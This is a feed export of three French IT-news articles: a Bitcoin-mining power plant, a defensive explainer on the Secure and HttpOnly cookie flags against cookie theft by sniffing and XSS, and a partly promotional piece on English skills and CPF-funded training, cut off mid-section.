# articles

feed_id: https://www.it-connect.fr/?p=34710
title: Aux Etats-Unis, une centrale électrique utilise son excédent… pour miner du Bitcoin !
uri: Aux-Etats-Unis-une-centrale-électrique-utilise-son-excédent-pour
url:
https://www.it-connect.fr/aux-etats-unis-une-centrale-electrique-utilise-son-excedent-pour-miner-du-bitcoin/

content:
<p><strong>Une centrale électrique des États-Unis a choisi de miser sur le Bitcoin, pour utiliser l’électricité et la puissance informatique en excédent sur ses services. À l’échelle globale, il existe de plus en plus de moyens informatiques innovants de produire du Bitcoin. On fait le point sur le sujet dans cet article.</strong></p>
<h2>Une centrale électrique qui mise sur le Bitcoin</h2>
<p>« Rien ne se perd, rien ne se crée, tout se transforme. » Il faut croire que la centrale électrique Greenidge Generation, située dans la région des Finger Lakes aux États-Unis, a bien intégré cet aphorisme. Elle a en effet choisi d’utiliser l’électricité produite en excédent pour miner la monnaie numérique Bitcoin. On le sait, le Bitcoin nécessite des équipements informatiques de pointe, et un afflux d’électricité très important afin de résoudre des algorithmes complexes : c’est <a href="https://www.lemagit.fr/conseil/Blockchain-bien-comprendre-le-fonctionnement-de-la-Preuve-de-Travail" target="_blank" rel="noopener noreferrer">le concept de la “Preuve de Travail”</a>. Ces algorithmes permettent de produire de nouvelles « pièces » de Bitcoin.</p>
<p>Une centrale électrique, avec ses équipements informatiques de pointe et son électricité (presque) gratuite, était donc le lieu tout trouvé pour miner du Bitcoin. Au total, la centrale électrique peut maintenant générer 5.5 pièces quotidiennement, <a href="https://coinmarketcap.com/fr/currencies/bitcoin/" target="_blank" rel="noopener noreferrer">soit au cours du Bitcoin de ce jour</a> 38 094 euros (un peu plus de 43 000 dollars aux États-Unis). Pour cela, elle a conduit une vaste opération de rénovation, qui a permis d’installer 7 000 machines de mining, pour un coût de 65 millions de dollars. La production de Bitcoins devrait donc permettre de rembourser ce colossal investissement. Au total, ce sont 15 mégawatts sur les 106 produits par la centrale électrique qui sont destinés à cette nouvelle activité lucrative.</p>
<p><img class="aligncenter size-full wp-image-34712" src="media/4f78f939.bitcoin-2452542332542523.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/bitcoin-2452542332542523.jpg" alt="" width="256" height="149" data-wp-editing="1" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/bitcoin-2452542332542523.jpg 256w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/bitcoin-2452542332542523-150x87.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/bitcoin-2452542332542523-160x93.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/bitcoin-2452542332542523-50x29.jpg 50w" sizes="(max-width: 256px) 100vw, 256px" /></p>
<h2>Des moyens originaux d’obtenir du Bitcoin</h2>
<p>De plus en plus de moyens originaux d’obtenir du Bitcoin existent : ils viennent se substituer au mining "classique", qui est un bon moyen <a href="https://www.it-connect.fr/actualites/actu-securite/" target="_blank" rel="noopener noreferrer">de sécuriser des données et des réseaux</a>, mais qui est devenu trop coûteux pour être rentable. Tout du moins si on utilise son propre ordinateur. Les utilisateurs se tournent maintenant vers des solutions comme des pools de mining, par exemple BTC.com ou Poolin. Cela permet de mettre en commun les ressources de plusieurs ordinateurs afin de produire des pièces.</p>
<p>En plus de cela, de nouveaux services ont commencé à cibler ceux qui souhaitent obtenir des Bitcoins grâce à son statut d’actif financier. Il existe des <a href="http://coinlist.me/fr/robots/bitcoin-evolution/" target="_blank" rel="noopener noreferrer">robots de trading automatique comme Bitcoin Evolution</a> ou encore Bitcoin Hero. Ces derniers sont des programmes informatiques automatiques, qui suivent en direct le cours du Bitcoin et achètent et vendent l’actif. Cela a deux avantages : d'une part, ils sont bien plus rapide qu'un humain, de l'autre, ils permettent de faire des choix pragmatiques sans sentiments. Dans une autre catégorie, des services de prêts de Bitcoin, comme le “crypto-lender” d’ampleur Compound, permettent de générer des Bitcoins en prêtant une certaine somme en crypto-monnaie. Le tout <a href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/bdd/" target="_blank" rel="noopener noreferrer">est certifié sur la base de données</a> du réseau blockchain, afin de proposer des garanties aux utilisateurs.</p>
<p>Comme on le voit, le Bitcoin s’est suffisamment développé pour être utilisé avec des solutions créatives, qui associent les dernières innovations informatiques à la finance numérique. La monnaie des geeks a donc bien réussi son pari.</p>
<p><em>Sources des images : <a href="https://pixabay.com/fr/photos/power-plant-g%C3%A9othermique-67538/" target="_blank" rel="noopener noreferrer">i</a></em><em>mage principale</em><em> et <a href="https://pixabay.com/fr/photos/bitcoin-jour-de-l-an-3029371/" target="_blank" rel="noopener noreferrer">image article</a></em></p>


feed_id: https://www.it-connect.fr/?p=34133
title: Sécurité des sites web : L’utilité des flags Secure et HttpOnly
uri: Sécurité-des-sites-web-L-utilité-des-flags-Secure-et-HttpOnly
url: https://www.it-connect.fr/securite-des-sites-web-lutilite-des-flags-secure-et-httponly/
content:
<h2>I. Présentation</h2>
<p>Nous allons dans cet article nous intéresser à l'intérêt et au fonctionnement des flags Secure et  HttpOnly dans le contexte de la sécurité des applications et des sites web.</p>
<p>Si vous avez déjà utilisé un scanner de vulnérabilités tel que Nessus, Acunetix, Nikto ou encore WP-scan sur une application ou un site web, vous aurez certainement remarqué que deux éléments sont très souvent remontés :</p>
<ul>
<li>L'absence de flag HttpOnly</li>
<li>L'absence du flag Secure</li>
</ul>
<p>Voici quelques exemples, récoltés auprès de différents scanners de vulnérabilités et différents sites web :</p>
<figure id="attachment_34301" aria-describedby="caption-attachment-34301" style="width: 732px" class="wp-caption aligncenter"><a href="media/39a19c40.httponly_flag.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag.jpg"><img class="wp-image-34301 size-full" src="media/39a19c40.httponly_flag.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag.jpg" alt="" width="732" height="239" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag.jpg 732w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag-550x180.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag-150x49.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag-160x52.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag-50x16.jpg 50w" sizes="(max-width: 732px) 100vw, 732px" /></a><figcaption id="caption-attachment-34301" class="wp-caption-text">Alerte HTTPOnly remontée par Nikto</figcaption></figure>
<p><a href="media/6693f0d1.httponly_flag_02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag_02.jpg"><img class="aligncenter size-large wp-image-34300" src="media/98cddffa.httponly_flag_02-800x73.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag_02-800x73.jpg" alt="" width="800" height="73" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag_02-800x73.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag_02-550x50.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag_02-150x14.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag_02-768x70.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag_02-160x15.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag_02-50x5.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/httponly_flag_02.jpg 1070w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<h2>II. Les headers Cookies et Set-Cookies</h2>
<p>Afin de bien comprendre le rôle et l'importance de ces deux flags, il est intéressant de rappeler ce que sont les headers "<em>Cookies" </em>et "<em>Set-Cookies", </em>tout deux normalisés dans le RFC 2109 "<a href="http://www.ietf.org/rfc/rfc2109.txt" target="_blank" rel="noopener noreferrer">HTTP State Management Mechanism</a>" en février 1997. Ce RFC décrit plus globalement la façon dont sont à gérer les sessions lors de la navigation d'un utilisateur, et c'est là l'intérêt principal du cookie. Les éléments notables d'une session sont :</p>
<ul>
<li>Une session a un début et une fin</li>
<li>Une session a une durée de vie relativement courte</li>
<li>La session peut être terminée par l'user-agent (le client) ou pas le serveur</li>
<li>La présence d'une session est implicite dans l'échange d'information d'état</li>
</ul>
<p>Globalement, la vie d'une session va se dérouler comme ceci :</p>
<ol>
<li>Le client visite le serveur pour la première fois, le serveur crée une session (côté serveur) pour stocker des informations</li>
<li>Le serveur, dans sa première réponse, va envoyer au client avec un numéro de session (Exemple : <em>AECOC42584dZQZDK</em>)</li>
<li>Le client, à chaque nouvelle requête, enverra en header son Cookie, permettant au serveur de retrouver les informations concernant l'utilisateur dans sa base de session</li>
</ol>
<p>Côté serveur, on pourra par exemple trouver cette relation :</p>
<pre>Session n°AECOC42584dZQZDK : { Nom : John, Age: 23, Ville : Paris }</pre>
<p>Ainsi, lorsque l'utilisateur naviguera, il pourra voir le menu du site "<em>Bonjour John, il est 13h48 à Paris". </em>Cela parce que la relation suivante se sera faite :<br />
<em>Utilisateur envoie son cookie contenant son ID de session au serveur &gt; Serveur retrouve les informations grâce à l'ID de session reçu &gt; Serveur peut utiliser les informations pour le traitement l'affichage</em></p>
<p>Voilà pour ce retour très basique et non exhaustif sur le fonctionnement d'une session. Intéressons nous maintenant à la phase 2 de la procédure décrite précédemment. Il faut donc savoir que la déclaration d'une session à un navigateur se fait justement via le header "<em>Set-Cookie". </em>Voici, pour illustrer la chose, la réponse d'un serveur sur lequel je me connecte pour la première fois aujourd'hui et qui m'assigne donc un ID de session :</p>
<figure id="attachment_34299" aria-describedby="caption-attachment-34299" style="width: 800px" class="wp-caption aligncenter"><a href="media/b1d4fee5.cookie-secure-httponly-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-01.jpg"><img class="size-large wp-image-34299" src="media/fde9a88d.cookie-secure-httponly-01-800x239.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-01-800x239.jpg" alt="" width="800" height="239" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-01-800x239.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-01-550x164.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-01-150x45.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-01-768x230.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-01-160x48.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-01-50x15.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-01.jpg 903w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34299" class="wp-caption-text">Assignation d'un Cookie via "Set-Cookie"</figcaption></figure>
<p>Nous pouvons déjà voir que certains paramètres supplémentaires sont passés lors de la définition du cookie, par exemple le flag "<em>path</em>" qui permet de dire "<em>ce cookie est valable pour tout le site à partir de</em> /", c'est à dire à partir de la racine. Dans certains contextes, on pourra donc définir la validité d'un cookie pour certains sous-répertoires. Également, le flag "<em>domain</em>" peut être utilisé pour définir la validité d'un cookie pour un nom de domaine (exemple "<em>.information-security") </em>ou bien pour un sous domaine précis uniquement (exemple "<em>www.ogma-sec.fr"). </em>Là aussi, des notions de sécurité sont à prendre en compte mais ce n'est pas l'objet de cet article. Un flag va donc être, dans notre contexte, une information passée lors de la définition du cookie. Les principaux flags sont décrits dans le RFC 2109 mis en liens plus haut, d'autres ont été ajoutés au fur et à mesure.</p>
<p>En listant mes cookies, je pourrais voir qu'un cookie nommé communément <em>PHPSESSIONID</em>  (parfois <em>JSESSIONID</em>, parfois autrement...) est créé et qu'il contient un identifiant qui peut sembler aléatoire :</p>
<figure id="attachment_34298" aria-describedby="caption-attachment-34298" style="width: 548px" class="wp-caption aligncenter"><a href="media/56b67db3.cookie-secure-httponly-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-03.jpg"><img class="size-full wp-image-34298" src="media/56b67db3.cookie-secure-httponly-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-03.jpg" alt="" width="548" height="527" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-03.jpg 548w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-03-150x144.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-03-160x154.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-03-50x48.jpg 50w" sizes="(max-width: 548px) 100vw, 548px" /></a><figcaption id="caption-attachment-34298" class="wp-caption-text">Visualisation des cookies du domaine courant dans Firefox</figcaption></figure>
<p>&nbsp;</p>
<p>Lors de mes prochaines requêtes, le contenu de ce cookie sera systématiquement envoyé au serveur en mode <em>clé:valeur</em> par mon navigateur, voyez plutôt le contenu de mon header lors de ma prochaine requête :</p>
<p>Envoi du cookie de session dans la requête par le navigateurAinsi, si je m'authentifie une fois, le serveur pourra (en schématisant) passer la variable "<em>Est Identifié" </em>de ma session côté serveur à "<em>Oui</em>" et ainsi agrémenter les informations de ma session avec les informations de mon compte.</p>
<p>Nous voyons donc tout l'intérêt des headers <em>Set-cookie</em> (utilisés par le serveur) et <em>Cookie</em> (utilisés par le client) dans le rôle de la session. Si je supprime mon cookie de session dans mon navigateur, ma prochaine requête sera faite sans session et le serveur n'aura alors aucun moyen de savoir qui je suis, et plus précisément si je suis authentifié. En revanche, si un autre utilisateur vol mon cookie de session, il pourra se faire passer pour moi auprès du serveur, qui ne regarde que le contenu du cookie de session pour vérifier cela. C'est ici que les flags Secure et HttpOnly deviennent intéressants.</p>
<h2>III. Du vol de cookie et au vol de session : les grandes lignes</h2>
<p>Rappelez vous donc que le cookie est une <strong>information stockée dans votre navigateur, et que celui-ci transite à chaque requête vers le serveur</strong>. Cette simple phrase expose les deux principaux vecteurs d'attaque pour voler un cookie de session : <strong>le stockage et le transport.</strong> Détaillons cela.</p>
<h3>A. Vol de cookie lors du transport</h3>
<p>Nous avons vu que le navigateur qui possède un cookie pour le nom de domaine qu'il visite va systématiquement l'envoyer dans ses requêtes au serveur. Or, tout ce qui est envoyé à un serveur transite au niveau réseau et peut donc être lu et intercepté par un éventuel pirate (ceci est plutôt facile à faire, notamment dans un LAN d'entreprise standard). Le pirate est alors en capacité de décomposer la trame réseau et notamment d'y retrouver le cookie de session de l'utilisateur afin de le copier dans son navigateur et ainsi d'usurper (de voler) la session de cet utilisateur. Voici une capture d'écran qui expose comment le cookie est visible au travers un capture réseau (Wireshark) :</p>
<figure id="attachment_34296" aria-describedby="caption-attachment-34296" style="width: 800px" class="wp-caption aligncenter"><a href="media/6ffaf4f6.cookie-secure-httponly-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-04.jpg"><img class="size-large wp-image-34296" src="media/d4d99cd6.cookie-secure-httponly-04-800x565.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-04-800x565.jpg" alt="" width="800" height="565" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-04-800x565.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-04-550x389.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-04-150x106.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-04-768x543.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-04-160x113.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-04-50x35.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-04.jpg 917w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34296" class="wp-caption-text">Vue du transit en clair d'un cookie de session</figcaption></figure>
<p>On voit ici bien que toute la requête HTTP est visible, et notamment le header HTTP "<em>Cookie</em>".<em><br />
</em></p>
<h3>B. Vol de cookie dans le navigateur</h3>
<p>Également, nous avons vu que le cookie de session, et les autres cookies aussi d'ailleurs, est stocké dans le navigateur. Il est d'ailleurs relativement impressionnant de visionner le nombre de cookies actuellement stockés dans nos navigateurs, certains sites nous en assignent des dizaines alors que nous ne sommes même pas authentifié :<br />
En l’occurrence, il est également possible de demander au navigateur d'aller chercher des informations dans les cookies qu'il possède, cela notamment en JavaScript, qui est un langage qui peut s'exécuter côté client.</p>
<p><a href="media/6f4ce1aa.cookie-secure-httponly-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-05.jpg"><img class="aligncenter size-large wp-image-34295" src="media/be853492.cookie-secure-httponly-05-800x432.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-05-800x432.jpg" alt="" width="800" height="432" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-05-800x432.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-05-550x297.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-05-150x81.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-05-768x415.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-05-160x86.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-05-50x27.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cookie-secure-httponly-05.jpg 1043w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>L'exécution côté client signifie que c'est le navigateur qui exécute les instructions, on peut donc demander à JavaScript de traiter les objets du navigateur comme le DOM (<em><span class="lang-en" lang="en">Document Object Model</span></em>) ou les cookies. <strong>JavaScript est un langage aux nombreuses possibilités, si bien qu'il est vecteur de nombreuses failles de sécurité, dont les fameuses XSS</strong> (<em>Cross Site Scripting</em>) qui permettent à un attaquant de contrôler le code JavaScript exécuté côté client, et donc de voler le contenu des cookies.</p>
<p>Voici une vidéo, réalisée par mes soins, dans laquelle j'exploite une vulnérabilité de type XSS dans le but de voler le cookie de session d'un administrateur :</p>
<div class="fitvids-video"><iframe title="Dolibarr  v3.8.3 Stored XSS vulnerability - PoC" width="800" height="450" src="https://www.youtube.com/embed/p2rFWJOCJC8?feature=oembed&amp;wmode=opaque" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
<p>Rassurez-vous, cette faille de sécurité est maintenant corrigée. Néanmoins, on peut voir que grâce à l'exécution de code JavaScript contrôlé par l'attaquant (moi dans cette vidéo), j'arrive à m'envoyer le contenu du cookie de ma victime, à le réinsérer dans mon navigateur et ainsi à voler la session de l'administrateur. C'est ici le deuxième plus important vecteur d'attaque dans le cadre du vol de cookie, bien qu'il en existe d'autres !</p>
<h2>IV. Set-Cookie pour la protection du vol de cookie</h2>
<p>Bien, que viennent donc faire c'est deux flags "<em>Secure</em>" et "<em>Http-only</em>" dans cette affaire ? C'est la question que vous commencez à vous poser. Et bien voilà la réponse :<strong> ils permettent tout simplement et très facilement de se protéger contre les vols de cookies</strong>, et cela peu importe que l'application soit remplie de failles de type XSS ou que votre navigateur fasse transiter des informations sur le réseau !</p>
<h3>A. Secure : Protection contre le vol durant le transport</h3>
<p>Selon le RFC 2019 "<a href="http://www.ietf.org/rfc/rfc2109.txt" target="_blank" rel="noopener noreferrer">HTTP State Management Mechanism</a>" du février 1997 qui décrit l'utilisation du flag "<em>Secure</em>" lors de l'émission d'un cookie, l'utilisation de ce flag permet de laisser la décision d’envoi ou non du cookie au navigateur. Plus précisément, ce flag signifie "<em>n'envoie le cookie que sur les moyens de communication que tu considères comme sécurisés". </em>Il est bien décrit dans ce RFC que le navigateur enverra le cookie dans tous les cas si le flag Se<em>cure</em> n'est pas actif :</p>
<blockquote><p>If absent, the user agent may send the cookie over an insecure channel.</p></blockquote>
<p>Dans un cadre général, le protocole HTTPS est considéré comme un canal de communication sécurisé alors que le protocole HTTP non. Cela signifie donc qu'un cookie avec le flag <em>Secure</em> actif ne sera envoyé au domaine courant uniquement si les requêtes/réponses sont en HTTPS, évitant ainsi le vol durant le transport du cookie comme précédemment décrit.</p>
<p>Il y a néanmoins une attention à porter à ce dernier point. Voici textuellement le contenu qui nous intéresse dans le RFC :</p>
<blockquote><p>The user agent (possibly under the user's control) may determine what level of security it considers appropriate for "secure" cookies.</p></blockquote>
<p>Il est ici explicitement indiqué que le niveau de sécurité qui fait que le navigateur détermine un canal de communication comme "<em>sécurisé</em>" est sous le contrôle de l'utilisateur. Outre l'HTTPS, on peut très bien imaginer que d'autres facteurs puissent être volontairement ou involontairement modifiés du côté de l'utilisateur, afin de faire en sorte de baisser le seuil de sécurité du navigateur. <strong>Mais d'une manière générale, ce flag est utilisé pour empêcher l'envoi des cookies sur un échange HTTP.</strong></p>
<p>Cela peut paraître évident, mais même si un site est entièrement en HTTPS, il est possible d'obtenir des situations dans lesquelles les cookies transitent en clair (HTTP). C'est notamment le cas lorsqu'un utilisateur cherche à joindre le site en HTTP (après avoir cliqué sur un lien par exemple). L'utilisateur est alors immédiatement redirigé vers l'HTTPS mais il aura tout de même effectué une première requête en HTTP, et s'il possédait un cookie à ce moment là, il sera envoyé lors de cette première requête, c'est précisément ce qu'empêche le flag <em>Secure</em>.</p>
<h3>B. HttpOnly : Protection contre le vol dans le navigateur</h3>
<p>Selon le RFC 6265 "<a href="http://www.rfc-editor.org/rfc/rfc6265.txt" target="_blank" rel="noopener noreferrer">HTTP State Management Mechanism</a>" d'avril 2011 qui décrit l'utilisation du flag "<em>HttpOnly</em>" lors de l'émission d'un cookie, le flag "<em>HttpOnly</em>" limite le cadre d'utilisation du cookie aux requêtes HTTP. Autrement dit, tous les accès au contenu du cookie sera refusé si ce n'est pas HTTP. Cela est par exemple le cas lorsqu'un script JavaScript va chercher à accéder au contenu d'un cookie. Si le flag HTTPOnly est actif sur le cookie en question, JavaScript n'y aura pas accès.<strong> Cela empêchera donc un attaquant exploitant une XSS de mettre la main sur le cookie de session, par exemple.</strong></p>
<p>Cela permet donc d'éviter, ou au moins de complexifier, le vol du contenu du cookie dans le navigateur.</p>
<p>J'espère que cet article vous aura convaincu de l'utilité et de la nécessité d'utiliser ces flags. Sachez que ce sont ces petites barrières et ces paramètres qu'il suffit de passer à <em>"<span id="spans0e0">on</span>" </em>qui <span id="spans0e1">découragent</span> la majeure partie des pirates actuels, il est donc nécessaire de les utiliser et <span id="spans0e2">des les</span> connaître.</p>
<p><strong>N'hésitez pas à donner votre avis sur ce sujet dans les commentaires.</strong></p>


feed_id: https://www.it-connect.fr/?p=34720
title: L’importance de la langue anglaise dans le domaine de l’informatique
uri: L-importance-de-la-langue-anglaise-dans-le-domaine-de-l-informatiq
url: https://www.it-connect.fr/limportance-de-la-langue-anglaise-dans-le-domaine-de-linformatique/
content:
<p>L'anglais figure à la première place des langues les plus parlées dans le domaine professionnel. Son usage est en effet courant en relations internationales et notamment en négociation commerciale. Qui plus est, les locuteurs anglais se comptent au nombre de 1,5 milliard environ dans le monde, qu'il s'agisse de leur langue maternelle ou de leur seconde langue.</p>
<p>Il est donc très difficile d'y échapper, notamment si vous comptez développer une carrière dans le secteur de l'informatique. Ce domaine est en effet plus que jamais concerné par l'usage de la langue anglaise. Quelle est exactement la place de la langue anglaise dans le domaine de l'informatique et comment faire pour se former ? Détails.</p>
<h2>L'anglais et l'informatique, deux univers intimement liés</h2>
<p>La langue anglaise est très largement employée dans le domaine de l'informatique. Le fait que le jargon propre à ce secteur ait été en grande partie conçu à partir de la langue anglaise à ses prémices explique qu'aujourd'hui celle-ci soit indissociable de l'informatique.</p>
<h3>L'anglais est la langue véhiculaire de l'informatique</h3>
<p>Si dans d'autres secteurs l'usage du latin fut plus courant pour concevoir le vocabulaire propre au domaine, dans celui de l'informatique, c'est l'anglais qui a primé. Effectivement, les ordinateurs de l'époque étaient assez limités et il n'existait pas encore de standards internationaux. Puisque c'est aux USA que les géants du secteur ont commencé à se développer, ils se sont donc logiquement basés sur <strong>les termes anglais pour la programmation</strong>.</p>
<p>Ainsi, l'utilisation des mots anglais dans la syntaxe des langages de programmation est devenue monnaie courante et l'est restée aujourd'hui. Il est donc essentiel de justifier de certaines bases en anglais pour pouvoir employer de manière régulière ces langages. Et même si, à l'heure actuelle, il existe bel et bien des langages de programmation non anglophones, force est d'admettre que la version anglaise reste la plus répandue.</p>
<p>Enfin, il est utile de préciser que les protocoles d'application font usage de chaînes de textes qui se basent sur l'anglais. Les acronymes et abréviations utilisés dans le domaine informatique sont aussi basés sur la langue anglaise, ce qui facilite l'exécution du protocole à partir d'un clavier pour toute personne ayant de solides connaissances de la langue. Vous travaillez déjà dans le secteur du développement ou vous souhaitez acquérir les connaissances indispensables pour travailler dans la programmation ? Sachez qu'il est parfaitement possible de <a href="https://www.cpformation.com/cpf-danglais">débiter son CPF pour se mettre à niveau en anglais</a> et obtenir les compétences nécessaires en matière d'informatique.</p>
<p><img class="aligncenter size-full wp-image-34721" src="media/4a7e442d.image-informatique-importance-anglaise-domaine-langue.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/image-informatique-importance-anglaise-domaine-langue.jpg" alt="" width="800" height="533" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/image-informatique-importance-anglaise-domaine-langue.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/image-informatique-importance-anglaise-domaine-langue-550x366.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/image-informatique-importance-anglaise-domaine-langue-150x100.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/image-informatique-importance-anglaise-domaine-langue-768x512.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/image-informatique-importance-anglaise-domaine-langue-160x107.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/image-informatique-importance-anglaise-domaine-langue-50x33.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h3>Les ressources en informatique sont plus nombreuses en anglais</h3>
<p>Apprendre l'informatique en se basant sur des ouvrages et des livres en français est possible, cela est indéniable. Toutefois, lorsqu'il est question d'approfondir ses connaissances, il est toujours préférable de savoir lire en anglais, car <strong>les ouvrages anglophones peuvent parfois contenir des informations techniques plus fournies</strong> que dans d'autres langues.</p>
<p>De même, les ouvrages en anglais concernant l'informatique sont plus nombreux. Il vous sera plus facile de trouver des ressources spécialisées dans l'informatique en anglais qu'en français. Pour ne pas passer à côté de ces mines d'information, il vaut donc mieux comprendre la langue de Shakespeare.</p>
<p>D'autant plus qu'il est possible désormais de retrouver toute sorte de sources d'informations et d'ouvrages gratuits sur internet. En sachant que <strong>55% du contenu des pages web est rédigé en anglais</strong>, cela donne une idée du nombre d'informations auxquelles vous ne pourrez pas accéder simplement parce que vous ne parlez pas anglais !</p>
<p>Concernant le domaine de l'informatique en particulier, sachez aussi que les professionnels des nouvelles technologies préfèrent l'usage de l'anglais dans leurs publications. Cela est dû d'abord au fait que son usage est plus répandu dans le monde et aussi parce que cette langue donne accès à un vocabulaire technique riche, indispensable en informatique.</p>
<h3>Un bon niveau en anglais est exigé pour travailler dans le secteur de l'informatique</h3>
<p>Au vu de la place de la langue anglaise dans le domaine de l'informatique, il apparaît logique que la maîtrise de celle-ci soit souvent préconisée pour pouvoir exercer un métier dans le secteur.</p>
<p>Si certains métiers n'exigent que des connaissances intermédiaires, voire scolaires, de plus en plus de postes exigent une<strong> maîtrise poussée permettant de communiquer en anglais</strong> avec un public international. Ainsi, pour exercer des métiers tels qu'expert en IT, community manager ou administrateur réseau par exemple, la compréhension et la faculté de parler en anglais sont de plus en lus souvent exigées par les entreprises.</p>
<h2>Obtenir une formation en anglais grâce au compte personnel de formation</h2>
<p>Le compte personnel de formation ou CPF est un dispositif gouvernemental permettant à tous les actifs (salariés demandeurs d'emploi, travailleurs indépendants, etc.) de bénéficier de formations spécifiques, dont l'anglais. Que vous souhaitiez prendre des cours pour apprendre l'anglais ou pour vous perfectionner dans l'optique de travailler dans le domaine des nouvelles technologies, vous pouvez donc mobiliser votre compte pour financer votre formation.</p>
<h3>Comment utiliser le CPF ?</h3>
<p>Chaque actif dispose d'un CPF alimenté en euros par l'État, et ce, jusqu'à la retraite. Le montant dont vous disposez pour vous former dépendra de vos heures de DIF, à savoir que celui-ci est calculé sur une base de 15 euros de l'heure. Les salariés peuvent entreprendre la formation durant ou en dehors de leur temps de travail.</p>
<p>Les demandeurs d'emploi, les travailleurs indépendants et ceux en alternance peuvent quant à eux utiliser leur droit à la formation en ouvrant un compte.</p>
<p><iframe style="display: block; margin-left: auto; margin-right: auto;" src="https://www.youtube.com/embed/pWDhq9NuFmc" width="500" height="375" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<h3>Utiliser l'application du gouvernement pour obtenir une formation en anglais</h3>
